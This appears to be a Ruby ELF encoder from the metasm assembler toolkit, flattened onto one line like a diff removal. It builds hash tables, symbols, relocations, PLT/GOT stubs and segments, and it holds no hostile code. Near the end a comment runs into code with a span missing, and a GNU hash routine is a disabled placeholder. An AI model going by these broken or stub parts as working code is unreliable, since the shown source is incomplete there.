encode_add_section s - # order: r rx rw noalloc - rank = lambda { |sec| - f = sec.flags - sec.type == 'NULL' ? -2 : sec.addr ? -1 : - f.include?('ALLOC') ? !f.include?('WRITE') ? !f.include?('EXECINSTR') ? 0 : 1 : 2 : 3 - } - srank = rank[s] - nexts = @sections.find { |sec| rank[sec] > srank } # find section with rank superior - nexts = nexts ? @sections.index(nexts) : -1 # if none, last - @sections.insert(nexts, s) # insert section - end - - # encodes the GNU_HASH table - # TODO - def encode_gnu_hash - return if true - - sortedsyms = @symbols.find_all { |s| s.bind == 'GLOBAL' and s.shndx != 'UNDEF' and s.name } - bucket = Array.new(42) - - if not gnu_hash = @sections.find { |s| s.type == 'GNU_HASH' } - gnu_hash = Section.new - gnu_hash.name = '.gnu.hash' - gnu_hash.type = 'GNU_HASH' - gnu_hash.flags = ['ALLOC'] - gnu_hash.entsize = gnu_hash.addralign = 4 - encode_add_section gnu_hash - end - gnu_hash.encoded = EncodedData.new - - # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) - # ((gnu_hash(sym[M].name) / C) % maskwords) == N && - # ((gnu_hash(sym[M].name) % C) == B || - # ((gnu_hash(sym[M].name) >> shift2) % C) == B" - # bloomfilter may be [~0] - bloomfilter = [] - - # bucket[N] contains the lowest M for which - # gnu_hash(sym[M]) % nbuckets == N - # or 0 if none - bucket = [] - - gnu_hash.encoded << - encode_word(bucket.length) << - encode_word(@symbols.length - sortedsyms.length) << - encode_word(bloomfilter.length) << - encode_word(shift2) - bloomfilter.each { |bf| gnu_hash.encoded << encode_xword(bf) } - bucket.each { |bk| gnu_hash.encoded << encode_word(bk) } - sortedsyms.each { |s| - # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) - # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - val = 28 - gnu_hash.encoded << encode_word(val) - } - - @tag['GNU_HASH'] = label_at(gnu_hash.encoded, 0) - - encode_check_section_size gnu_hash - - gnu_hash - end - - # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag - def encode_hash - if not hash = @sections.find { |s| s.type == 'HASH' } - hash = Section.new - hash.name = '.hash' - hash.type = 'HASH' - hash.flags = ['ALLOC'] - hash.entsize = hash.addralign = 4 - encode_add_section hash - end - hash.encoded = EncodedData.new - - # to find a symbol from its name : - # 1: idx = hash(name) - # 2: idx = bucket[idx % bucket.size] - # 3: if idx == 0: return notfound - # 4: if dynsym[idx].name == name: return found - # 5: idx = chain[idx] ; goto 3 - bucket = Array.new(@symbols.length/4+1, 0) - chain = Array.new(@symbols.length, 0) - @symbols.each_with_index { |s, i| - next if s.bind == 'LOCAL' or not s.name or s.shndx == 'UNDEF' - hash_mod = ELF.hash_symbol_name(s.name) % bucket.length - chain[i] = bucket[hash_mod] - bucket[hash_mod] = i - } - - hash.encoded << encode_word(bucket.length) << encode_word(chain.length) - - bucket.each { |b| hash.encoded << encode_word(b) } - chain.each { |c| hash.encoded << encode_word(c) } - - @tag['HASH'] = label_at(hash.encoded, 0) - - encode_check_section_size hash - - hash - end - - # encodes the symbol table - # should have a stable self.sections array (only append allowed after this step) - def encode_segments_symbols(strtab) - if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } - dynsym = Section.new - dynsym.name = '.dynsym' - dynsym.type = 'DYNSYM' - dynsym.entsize = Symbol.size(self) - dynsym.addralign = 4 - dynsym.flags = ['ALLOC'] - dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1 - dynsym.link = strtab - encode_add_section dynsym - end - dynsym.encoded = EncodedData.new - @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header - - @tag['SYMTAB'] = label_at(dynsym.encoded, 0) - @tag['SYMENT'] = Symbol.size(self) - - encode_check_section_size dynsym - - dynsym - end - - # encodes the relocation tables - # needs a complete self.symbols array - def encode_segments_relocs - return if not @relocations - - arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" - send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func - - list = @relocations.find_all { |r| r.type == 'JMP_SLOT' } - if not list.empty? or @relocations.empty? - if list.find { |r| r.addend } - stype = 'RELA' - sname = '.rela.plt' - else - stype = 'REL' - sname = '.rel.plt' - end - - if not relplt = @sections.find { |s| s.type == stype and s.name == sname } - relplt = Section.new - relplt.name = sname - relplt.flags = ['ALLOC'] - encode_add_section relplt - end - relplt.encoded = EncodedData.new('', :export => {'_REL_PLT' => 0}) - list.each { |r| relplt.encoded << r.encode(self) } - @tag['JMPREL'] = label_at(relplt.encoded, 0) - @tag['PLTRELSZ'] = relplt.encoded.virtsize - @tag['PLTREL'] = relplt.type = stype - @tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self)) - encode_check_section_size relplt - end - - list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and not r.addend } - if not list.empty? - if not @tag['TEXTREL'] and @sections.find { |s_| - s_.encoded and e = s_.encoded.inv_export[0] and not s_.flags.include? 'WRITE' and - list.find { |r| Expression[r.offset, :-, e].reduce.kind_of? ::Integer } - # TODO need to check with r.offset.bind(elf_binding) - } - @tag['TEXTREL'] = 0 - end - if not rel = @sections.find { |s_| s_.type == 'REL' and s_.name == '.rel.dyn' } - rel = Section.new - rel.name = '.rel.dyn' - rel.type = 'REL' - rel.flags = ['ALLOC'] - rel.entsize = rel.addralign = Relocation.size(self) - encode_add_section rel - end - rel.encoded = EncodedData.new - list.each { |r| rel.encoded << r.encode(self) } - @tag['REL'] = label_at(rel.encoded, 0) - @tag['RELENT'] = Relocation.size(self) - @tag['RELSZ'] = rel.encoded.virtsize - encode_check_section_size rel - end - - list = @relocations.find_all { |r| r.type != 'JMP_SLOT' and r.addend } - if not list.empty? - if not rela = @sections.find { |s_| s_.type == 'RELA' and s_.name == '.rela.dyn' } - rela = Section.new - rela.name = '.rela.dyn' - rela.type = 'RELA' - rela.flags = ['ALLOC'] - rela.entsize = rela.addralign = RelocationAddend.size(self) - encode_add_section rela - end - rela.encoded = EncodedData.new - list.each { |r| rela.encoded << r.encode(self) } - @tag['RELA'] = label_at(rela.encoded, 0) - @tag['RELAENT'] = RelocationAddend.size(self) - @tag['RELASZ'] = rela.encoded.virtsize - encode_check_section_size rela - end - end - - # creates the .plt/.got from the @relocations - def arch_386_preencode_reloc - # if .got.plt does not exist, the dynamic loader segfaults - if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } - gotplt = Section.new - gotplt.name = '.got.plt' - gotplt.type = 'PROGBITS' - gotplt.flags = %w[ALLOC WRITE] - gotplt.addralign = @bitsize/8 - # _DYNAMIC is not base-relocated at runtime - encode_add_section gotplt - end - gotplt.encoded ||= (EncodedData.new('', :export => {'_PLT_GOT' => 0}) << encode_xword('_DYNAMIC') << encode_xword(0) << encode_xword(0)) - @tag['PLTGOT'] = label_at(gotplt.encoded, 0) - plt = nil - - shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } - - @relocations.dup.each { |r| - case r.type - when 'PC32' - next if not r.symbol - - if r.symbol.type != 'FUNC' - # external data xref: generate a GOT entry - # XXX reuse .got.plt ? - if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } - got = Section.new - got.name = '.got' - got.type = 'PROGBITS' - got.flags = %w[ALLOC WRITE] - got.addralign = @bitsize/8 - got.encoded = EncodedData.new - encode_add_section got - end - - prevoffset = r.offset - gotlabel = r.symbol.name + '_got_entry' - if not got.encoded.export[gotlabel] - # create the got thunk - got.encoded.add_export(gotlabel, got.encoded.length) - got.encoded << encode_xword(0) - - # transform the reloc PC32 => GLOB_DAT - r.type = 'GLOB_DAT' - r.offset = Expression[gotlabel] - r.addend = 0 if @bitsize == 64 - else - @relocations.delete r - end - - # prevoffset is label_section_start + int_section_offset - target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } - rel = target_s.encoded.reloc[prevoffset.rexpr] - # [foo] => [foo - reloc_addr + gotlabel] - - rel.target = Expression[[rel.target, :-, prevoffset], :+, gotlabel] - next - end - - # convert to .plt entry - # - # [.plt header] - # plt_start: # caller set ebx = gotplt if generate_PIC - # push [gotplt+4] - # jmp [gotplt+8] - # - # [.plt thunk] - # some_func_thunk: - # jmp [gotplt+func_got_offset] - # some_func_got_default: - # push some_func_jmpslot_offset_in_.rel.plt - # jmp plt_start - # - # [.got.plt header] - # dd _DYNAMIC - # dd 0 # rewritten to GOTPLT? by ld-linux - # dd 0 # rewritten to dlresolve_inplace by ld-linux - # - # [.got.plt + func_got_offset] - # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace - # # base_relocated ? - - # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) - # also geteip trashes eax, which may interfere with regparm(3) - base = @cpu.generate_PIC ? @bitsize == 32 ? 'ebx' : 'rip-$_+_PLT_GOT' : '_PLT_GOT' - if not plt ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.plt' } - plt = Section.new - plt.name = '.plt' - plt.type = 'PROGBITS' - plt.flags = %w[ALLOC EXECINSTR] - plt.addralign = @bitsize/8 - plt.encoded = EncodedData.new - sz = @bitsize/8 - ptqual = @bitsize == 32 ? 'dword' : 'qword' - plt.encoded << shellcode["metasm_plt_start:\npush #{ptqual} ptr [#{base}+#{sz}]\njmp #{ptqual} ptr [#{base}+#{2*sz}]"] - if @cpu.generate_PIC and @bitsize == 32 and not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } - plt.encoded << shellcode["metasm_intern_geteip:\ncall 42f\n42: pop eax\nsub eax, 42b-metasm_intern_geteip\nret"] - end - encode_add_section plt - end - - prevoffset = r.offset - pltlabel = r.symbol.name + '_plt_thunk' - if not plt.encoded.export[pltlabel] - # create the plt thunk - plt.encoded.add_export pltlabel, plt.encoded.length - if @cpu.generate_PIC and @bitsize == 32 - plt.encoded << shellcode["call metasm_intern_geteip\nlea #{base}, [eax+_PLT_GOT-metasm_intern_geteip]"] - end - plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"] - plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length - reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length - reloffset *= Relocation.size(self) if @bitsize == 32 - plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"] - - # transform the reloc PC32 => JMP_SLOT - r.type = 'JMP_SLOT' - r.offset = Expression['_PLT_GOT', :+, gotplt.encoded.length] - r.addend = 0 if @bitsize == 64 - - gotplt.encoded << encode_xword(r.symbol.name + '_plt_default') - else - @relocations.delete r - end - - # mutate the original relocation - # XXX relies on the exact form of r.target from arch_create_reloc - target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } - rel = target_s.encoded.reloc[prevoffset.rexpr] - rel.target = Expression[[[rel.target, :-, prevoffset.rexpr], :-, label_at(target_s.encoded, 0)], :+, pltlabel] - - # when 'GOTOFF', 'GOTPC' - end - } - encode_check_section_size gotplt - encode_check_section_size plt if plt - #encode_check_section_size got if got - end - alias arch_x86_64_preencode_reloc arch_386_preencode_reloc - - # encodes the .dynamic section, creates .hash/.gnu.hash/.rel/.rela/.dynsym/.strtab/.init,*_array as needed - def encode_segments_dynamic - if not strtab = @sections.find { |s| s.type == 'STRTAB' and s.flags.include? 'ALLOC' } - strtab = Section.new - strtab.name = '.dynstr' - strtab.addralign = 1 - strtab.type = 'STRTAB' - strtab.flags = ['ALLOC'] - encode_add_section strtab - end - strtab.encoded = EncodedData.new << 0 - @tag['STRTAB'] = label_at(strtab.encoded, 0) - - if not dynamic = @sections.find { |s| s.type == 'DYNAMIC' } - dynamic = Section.new - dynamic.name = '.dynamic' - dynamic.type = 'DYNAMIC' - dynamic.flags = %w[WRITE ALLOC] # XXX why write ? - dynamic.addralign = dynamic.entsize = @bitsize / 8 * 2 - dynamic.link = strtab - encode_add_section dynamic - end - dynamic.encoded = EncodedData.new('', :export => {'_DYNAMIC' => 0}) - - encode_tag = lambda { |k, v| - dynamic.encoded << - encode_sxword(int_from_hash(k, DYNAMIC_TAG)) << - encode_xword(v) - } - - # find or create string in strtab - add_str = lambda { |n| - if n and n != '' and not ret = strtab.encoded.data.index(n + 0.chr) - ret = strtab.encoded.virtsize - strtab.encoded << n << 0 - end - ret || 0 - } - @tag.keys.each { |k| - case k - when 'NEEDED'; @tag[k].each { |n| encode_tag[k, add_str[n]] } - when 'SONAME', 'RPATH', 'RUNPATH'; encode_tag[k, add_str[@tag[k]]] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array - if not ar = @sections.find { |s| s.name == '.' + k.downcase } - ar = Section.new - ar.name = '.' + k.downcase - ar.type = k - ar.addralign = ar.entsize = @bitsize/8 - ar.flags = %w[WRITE ALLOC] - ar.encoded = EncodedData.new - encode_add_section ar # insert before encoding syms/relocs (which need section indexes) - end - - # fill these later, but create the base relocs now - arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - next if not respond_to?(arch_create_reloc_func) - curaddr = label_at(@encoded, 0, 'elf_start') - fkbind = {} - @sections.each { |s| - next if not s.encoded - fkbind.update s.encoded.binding(Expression[curaddr, :+, 1]) - } - @relocations ||= [] - off = ar.encoded.length - @tag[k].each { |a| - rel = Metasm::Relocation.new(Expression[a], "u#@bitsize".to_sym, @endianness) - send(arch_create_reloc_func, ar, off, fkbind, rel) - off += @bitsize/8 - } - end - } - - encode_reorder_symbols - encode_gnu_hash - encode_hash - encode_segments_relocs - dynsym = encode_segments_symbols(strtab) - @sections.find_all { |s| %w[HASH GNU_HASH REL RELA].include? s.type }.each { |s| s.link = dynsym } - - encode_check_section_size strtab - - # XXX any order needed ? - @tag.keys.each { |k| - case k - when Integer # unknown tags = array of values - @tag[k].each { |n| encode_tag[k, n] } - when 'PLTREL'; encode_tag[k, int_from_hash(@tag[k], DYNAMIC_TAG)] - when 'FLAGS'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS)] - when 'FLAGS_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FLAGS_1)] - when 'FEATURES_1'; encode_tag[k, bits_from_hash(@tag[k], DYNAMIC_FEATURES_1)] - when 'NULL' # keep last - when 'STRTAB' - encode_tag[k, @tag[k]] - encode_tag['STRSZ', strtab.encoded.size] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' # build section containing the array - ar = @sections.find { |s| s.name == '.' + k.downcase } - @tag[k].each { |p| ar.encoded << encode_addr(p) } - encode_check_section_size ar - encode_tag[k, label_at(ar.encoded, 0)] - encode_tag[k + 'SZ', ar.encoded.virtsize] - when 'NEEDED', 'SONAME', 'RPATH', 'RUNPATH' # already handled - else - encode_tag[k, @tag[k]] - end - } - encode_tag['NULL', @tag['NULL'] || 0] - - encode_check_section_size dynamic - end - - # creates the undef symbol list from the section.encoded.reloc and a list of known exported symbols (e.g. from libc) - # also populates @tag['NEEDED'] - def automagic_symbols - GNUExports rescue return # autorequire - autoexports = GNUExports::EXPORT.dup - @sections.each { |s| - next if not s.encoded - s.encoded.export.keys.each { |e| autoexports.delete e } - } - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each_value { |r| - t = Expression[r.target.reduce] - if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and - t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String) - symname = t.lexpr - else - symname = t.reduce_rec - end - next if not dll = autoexports[symname] - if not @symbols.find { |sym| sym.name == symname } - @tag['NEEDED'] ||= [] - @tag['NEEDED'] |= [dll] - sym = Symbol.new - sym.shndx = 'UNDEF' - sym.type = 'FUNC' - sym.name = symname - sym.bind = 'GLOBAL' - @symbols << sym - end - } - } - end - - # reads the existing segment/sections.encoded and populate @relocations from the encoded.reloc hash - def create_relocations - @relocations = [] - - arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - if not respond_to? arch_create_reloc_func - puts "Elf: create_reloc: unhandled architecture #{@header.machine}" if $VERBOSE - return - end - - # create a fake binding with all our own symbols - # not foolproof, should work in most cases - curaddr = label_at(@encoded, 0, 'elf_start') - binding = {'_DYNAMIC' => 0, '_GOT' => 0} # XXX - @sections.each { |s| - next if not s.encoded - binding.update s.encoded.binding(curaddr) - curaddr = Expression[curaddr, :+, s.encoded.virtsize] - } - - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each { |off, rel| - t = rel.target.bind(binding).reduce - next if not t.kind_of? Expression # XXX segment_encode only - send(arch_create_reloc_func, s, off, binding) - } - } - end - - # references to FUNC symbols are transformed to JMPSLOT relocations (aka call to .plt) - # TODO ET_REL support - def arch_386_create_reloc(section, off, binding, rel=nil) - rel ||= section.encoded.reloc[off] - if rel.endianness != @endianness or not [:u32, :i32, :a32].include? rel.type - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE - return - end - startaddr = label_at(@encoded, 0) - r = Relocation.new - r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] - if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # this location is relative to the base load address of the ELF - r.type = 'RELATIVE' - else - et = rel.target.externals - extern = et.find_all { |name| not binding[name] } - if extern.length != 1 - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE - return - end - if not sym = @symbols.find { |s| s.name == extern.first } - puts "ELF: 386_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE - return - end - r.symbol = sym - rel.target = Expression[rel.target, :-, sym.name] - if rel.target.bind(binding).reduce.kind_of? ::Integer - r.type = '32' - elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer - rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] - r.type = 'PC32' - # TODO tls ? - else - puts "ELF: 386_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE - return - end - end - @relocations << r - end - - def arch_x86_64_create_reloc(section, off, binding, rel=nil) - rel ||= section.encoded.reloc[off] - if rel.endianness != @endianness or not rel.type.to_s =~ /^[aiu](32|64)$/ - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: bad reloc type" if $VERBOSE - return - end - startaddr = label_at(@encoded, 0) - r = RelocationAddend.new - r.addend = 0 - r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] - if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # this location is relative to the base load address of the ELF - if rel.length != 8 - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: relative non-x64" if $VERBOSE - return - end - r.type = 'RELATIVE' - else - et = rel.target.externals - extern = et.find_all { |name| not binding[name] } - if extern.length != 1 - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE - return - end - if not sym = @symbols.find { |s| s.name == extern.first } - puts "ELF: x86_64_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE - return - end - r.symbol = sym - rel.target = Expression[rel.target, :-, sym.name] - if rel.target.bind(binding).reduce.kind_of? ::Integer - r.type = '64' # XXX check that - elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer - rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] - r.type = 'PC32' # XXX - # TODO tls ? - else - puts "ELF: x86_64_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE - return - end - end - r.addend = Expression[rel.target] - #section.encoded.reloc.delete off - @relocations << r - end - - # resets the fields of the elf headers that should be recalculated, eg phdr offset - def invalidate_header - @header.shoff = @header.shnum = nil - @header.phoff = @header.phnum = nil - @header.shstrndx = nil - @sections.to_a.each { |s| - s.name_p = nil - s.offset = nil - } - @segments.to_a.each { |s| - s.offset = nil - } - self - end - - # put every ALLOC section in a segment, create segments if needed - # sections with a good offset within a segment are ignored - def encode_make_segments_from_sections - # fixed addresses first - seclist = @sections.find_all { |sec| sec.addr.kind_of? Integer }.sort_by { |sec| sec.addr } | @sections - seclist.each { |sec| - next if not sec.flags.to_a.include? 'ALLOC' - - # check if we fit in an existing segment - loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } - - if sec.addr.kind_of?(::Integer) and seg = loadsegs.find { |seg_| - seg_.vaddr.kind_of?(::Integer) and seg_.vaddr <= sec.addr and seg_.vaddr + seg_.memsz >= sec.addr + sec.size - } - # sections is already inside a segment: we're reencoding an ELF, just patch the section in the segment - seg.encoded[sec.addr - seg.vaddr, sec.size] = sec.encoded if sec.encoded - next - end - - if not seg = loadsegs.find { |seg_| - sec.flags.to_a.include?('WRITE') == seg_.flags.to_a.include?('W') and - #sec.flags.to_a.include?('EXECINSTR') == seg_.flags.to_a.include?('X') and - not seg_.memsz and - not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| - # check if another segment would overlap if we add the sec to seg_ - o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+sec.encoded.length]].reduce - o.kind_of? ::Integer and o < 0 - } - } - # nope, create a new one - seg = Segment.new - seg.type = 'LOAD' - seg.flags = ['R'] - seg.flags << 'W' if sec.flags.include? 'WRITE' - seg.align = 0x1000 - seg.encoded = EncodedData.new - seg.offset = new_label('segment_offset') - seg.vaddr = sec.addr || new_label('segment_address') - @segments << seg - end - seg.flags |= ['X'] if sec.flags.include? 'EXECINSTR' - seg.encoded.align sec.addralign if sec.addralign - sec.addr = Expression[seg.vaddr, :+, seg.encoded.length] - sec.offset = Expression[seg.offset, :+, seg.encoded.length] - seg.encoded << sec.encoded - } - end - - # create the relocations from the sections.encoded.reloc - # create the dynamic sections - # put sections/phdr in PT_LOAD segments - # link - # TODO support mapped PHDR, obey section-specified base address, handle NOBITS - # encode ET_REL - def encode(type='DYN') - @header.type ||= {:bin => 'EXEC', :lib => 'DYN', :obj => 'REL'}.fetch(type, type) - @header.machine ||= case @cpu.shortname - when 'x64'; 'X86_64' - when 'ia32'; '386' - when 'mips'; 'MIPS' - when 'powerpc'; 'PPC' - when 'arm'; 'ARM' - end - - if @header.type == 'REL' - raise 'ET_REL encoding not supported atm, come back later' - end - - @encoded = EncodedData.new - if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } - # create a .dynamic section unless we are an ET_EXEC with .nointerp - automagic_symbols - create_relocations - encode_segments_dynamic - end - - @segments.delete_if { |s| s.type == 'INTERP' } if not @header.entry - - encode_make_segments_from_sections - - loadsegs = @segments.find_all { |seg_| seg_.type == 'LOAD' } - - # ensure PT_INTERP is mapped if present - if interp = @segments.find { |i| i.type == 'INTERP' } - if not seg = loadsegs.find { |seg_| not seg_.memsz and interp.flags & seg_.flags == interp.flags and - not loadsegs[loadsegs.index(seg_)+1..-1].find { |sseg| - o = Expression[sseg.vaddr, :-, [seg_.vaddr, :+, seg_.encoded.length+interp.encoded.length]].reduce - o.kind_of? ::Integer and o < 0 - } - } - seg = Segment.new - seg.type = 'LOAD' - seg.flags = interp.flags.dup - seg.align = 0x1000 - seg.encoded = EncodedData.new - seg.offset = new_label('segment_offset') - seg.vaddr = new_label('segment_address') - loadsegs << seg - @segments << seg - end - interp.vaddr = Expression[seg.vaddr, :+, seg.encoded.length] - interp.offset = Expression[seg.offset, :+, seg.encoded.length] - seg.encoded << interp.encoded - interp.encoded = nil - end - - # ensure last PT_LOAD is writeable (used for bss) - seg = loadsegs.last - if not seg or not seg.flags.include? 'W' - seg = Segment.new - seg.type = 'LOAD' - seg.flags = ['R', 'W'] - seg.encoded = EncodedData.new - loadsegs << seg - @segments << seg - end - - # add dynamic segment - if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } - ds.set_default_values self - seg = Segment.new - seg.type = 'DYNAMIC' - seg.flags = ['R', 'W'] - seg.offset = ds.offset - seg.vaddr = ds.addr - seg.memsz = seg.filesz = ds.size - @segments << seg - end - - # use variables in the first segment descriptor, to allow fixup later - # (when we'll be able to include the program header) - if first_seg = loadsegs.first - first_seg_oaddr = first_seg.vaddr # section's vaddr depend on oaddr - first_seg_off = first_seg.offset - first_seg.vaddr = new_label('segvaddr') - first_seg.offset = new_label('segoff') - first_seg.memsz = new_label('segmemsz') - first_seg.filesz = new_label('segfilsz') - end - - if first_seg and not @segments.find { |seg_| seg_.type == 'PHDR' } - phdr = Segment.new - phdr.type = 'PHDR' - phdr.flags = first_seg.flags - phdr.offset = new_label('segoff') - phdr.vaddr = new_label('segvaddr') - phdr.filesz = phdr.memsz = new_label('segmemsz') - @segments.unshift phdr - end - - # encode section&program headers - if @header.shnum != 0 - st = @sections.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } - else - @header.shoff = @header.shnum = @header.shstrndx = 0 - end - pt = @segments.inject(EncodedData.new) { |edata, s| edata << s.encode(self) } - - binding = {} - @encoded << @header.encode(self) - @encoded.align 8 - binding[@header.phoff] = @encoded.length - if phdr - binding[phdr.offset] = @encoded.length - pt.add_export phdr.vaddr, 0 - binding[phdr.memsz] = pt.length - end - @encoded << pt - @encoded.align 8 - - if first_seg - # put headers into the 1st mmaped segment - if first_seg_oaddr.kind_of? ::Integer - # pad headers to align the 1st segment's data - @encoded.virtsize += (first_seg_oaddr - @encoded.virtsize) & 0xfff - addr = first_seg_oaddr - @encoded.length - else - addr = ((@header.type == 'EXEC') ? 0x08048000 : 0) - binding[first_seg_oaddr] = addr + @encoded.length - end - binding[first_seg_off] = @encoded.length if not first_seg_off.kind_of? ::Integer - first_seg.encoded = @encoded << first_seg.encoded - @encoded = EncodedData.new - binding[first_seg.memsz] = first_seg.encoded.virtsize if not first_seg.memsz.kind_of? ::Integer - binding[first_seg.filesz] = first_seg.encoded.rawsize if not first_seg.filesz.kind_of? ::Integer - end - - @segments.each { |seg_| - next if not seg_.encoded - if seg_.vaddr.kind_of? ::Integer - raise "cannot put segment at address #{Expression[seg_.vaddr]} (now at #{Expression[addr]})" if seg_.vaddr < addr - addr = seg_.vaddr - else - binding[seg_.vaddr] = addr - end - # ensure seg_.vaddr & page_size == seg_.offset & page_size - @encoded.virtsize += (addr - @encoded.virtsize) & 0xfff - binding.update seg_.encoded.binding(addr) - binding[seg_.offset] = @encoded.length - seg_.encoded.align 8 - @encoded << seg_.encoded[0, seg_.encoded.rawsize] - addr += seg_.encoded.length - - # page break for memory permission enforcement - if @segments[@segments.index(seg_)+1..-1].find { |seg__| seg__.encoded and seg__.vaddr.kind_of? ::Integer } - addr += 0x1000 - (addr & 0xfff) if addr & 0xfff != 0 # minimize memory size - else - addr += 0x1000 # minimize file size - end - } - - binding[@header.shoff] = @encoded.length if st - @encoded << st - @encoded.align 8 - - @sections.each { |sec| - next if not sec.encoded or sec.flags.include? 'ALLOC' # already in a segment.encoded - binding[sec.offset] = @encoded.length - binding.update sec.encoded.binding - @encoded << sec.encoded - @encoded.align 8 - } - - @encoded.fixup! binding - @encoded.data - end - - def parse_init - # allow the user to specify a section, falls back to .text if none specified - if not defined? @cursource or not @cursource - @cursource = Object.new - class << @cursource - attr_accessor :elf - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - elf.parse_parser_instruction t - elf.cursource.send(:<<, *a) - end - end - @cursource.elf = self - end - - @segments.delete_if { |s| s.type == 'INTERP' } - seg = Segment.new - seg.type = 'INTERP' - seg.encoded = EncodedData.new << (@bitsize == 64 ? DEFAULT_INTERP64 : DEFAULT_INTERP) << 0 - seg.flags = ['R'] - seg.memsz = seg.filesz = seg.encoded.length - @segments.unshift seg - - @source ||= {} - super() - end - - # handles elf meta-instructions - # - # syntax: - # .section "" [] [base=] - # change current section (where normal instruction/data are put) - # perms = list of 'w' 'x' 'alloc', may be prefixed by 'no' - # 'r' ignored - # defaults to 'alloc' - # shortcuts: .text .data .rodata .bss - # base: immediate expression representing the section base address - # .entrypoint [
[(no)wxalloc] [base=] - sname = readstr[] - if not s = @sections.find { |s_| s_.name == sname } - s = Section.new - s.type = 'PROGBITS' - s.name = sname - s.encoded = EncodedData.new - s.flags = ['ALLOC'] - @sections << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?r?(w)?(x)?(alloc)?$/ - ar = [] - ar << 'WRITE' if $2 - ar << 'EXECINSTR' if $3 - ar << 'ALLOC' if $4 - if $1; s.flags -= ar - else s.flags |= ar - end - when 'base' - @lexer.skip_space - @lexer.readtok if tok = @lexer.nexttok and tok.type == :punct and tok.raw == '=' - raise instr, 'bad section base' if not s.addr = Expression.parse(@lexer).reduce or not s.addr.kind_of? ::Integer - else raise instr, 'unknown specifier' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entry = entrypoint - check_eol[] - - when '.global', '.weak', '.local', '.symbol' - if instr.raw == '.symbol' - bind = readstr[] - else - bind = instr.raw[1..-1] - end - - s = Symbol.new - s.name = readstr[] - s.type = 'FUNC' - s.bind = bind.upcase - 